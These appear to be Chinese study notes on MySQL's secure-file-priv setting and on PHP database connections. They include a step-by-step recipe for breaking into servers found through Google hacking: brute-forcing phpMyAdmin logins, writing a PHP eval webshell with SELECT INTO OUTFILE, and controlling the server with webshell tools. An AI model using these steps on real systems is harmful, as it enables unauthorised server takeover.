首次从数据库中导出文件,数据库会执行“__secure-file-priv”安全机制,会限制我们导出文件。查看该安全项的值:show global variables like ‘%secure-file-priv%’
Secure-file-priv 为null时 表示mysql限制导入导出
Secure-file-priv 没有值 表示mysql不限制导入导出
Secure-file-priv=/tmp 表示只能在/tmp目录下导入导出
△修改该安全选项
临时方法:set global secure-file-priv=’ ’;
注意:variable ‘secure_file_priv’ is a read only variable 表示不能通过sql语句修改
长久方法:修改配置文件
在配置文件中找到[mysqld],后面添加secure-file-priv=’ ’
通过phpmyadmin 获取服务器权限(getshell)
step1:通过google hacking 找phpmyadmin网站
step2:爆破或者弱口令登录,查询:SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'
step3:如果安全选项没有限制或者限制不严格,可以往站点根目录写木马
select "<?php @eval($_POST[_]);?>" into outfile "D:\phpstudy_pro\www\evil.php";
select "<?php @eval($_POST[_]);?>" into outfile "/var/www/html/shll/php"; //linux下的写法
step3*:此时可以看到本地www/文件目录下有evil.php,登录此网站,将_=phpinfo();post data形式发出,返回了下图页面,其中POST[]中填的是_,所以此处重新定义_;
step4:通过webshell 管理工具(中国菜刀,冰蝎,蚁剑等)去控制服务器
PHP+MYSQL
PHP 操作mysql 数据库
(1) 使用mysqli扩展(推荐),只针对mysql数据库
面向对象的方式
直接方法(面向过程);
(2)使用mysql扩展(php<=5.5)
(3)使用pdo ,支持12种数据库
三种数据库的连接释放.php(分别取消注释使用)
<?php header("Content-type:text/html;charset:utf-8"); $ser="127.0.0.1"; $name="root"; $pwd="roo"; /*m面向对象*/ /* $conn=new mysqli($ser,$name,$pwd); if($conn->connect_error){ die("连接失败:".$conn->connect_error); } echo "数据库连接成功!"; $conn->close(); */ /*面向过程*/ /* $conn=mysqli_connect($ser,$name,$pwd); if($conn){ //mysqli连接成功返回true,没有连接成功返回false; echo mysqli_connect_error(); } echo "连接成功"; var_dump($conn); mysqli_close($conn); */ /*pdo*/ /* try{ $conn=new pdo("mysql:host=$ser;",$name,$pwd); echo "成功!"; } catch(PDOException $ee){ echo $ee-> getMessage(); } $conn=null; */ |
通过phpinfo()查看当前环境中有没有mysqli和pdo的扩展
Mysqli_connect(ip:port,name,pwd,db)连接数据库
$result=mysqli_query(连接,sql语句)
Mysqli_num_rows($result) 查询记录数
Mysqli_fetch_assoc($result) 执行之后的结果将第一行转换为关联数组
Mysqli_fetch_all($result)将结果所有行转换为关联数组和数字数组
Mysqli_fetch_array()将结果第一行转换为关联数组和数字数组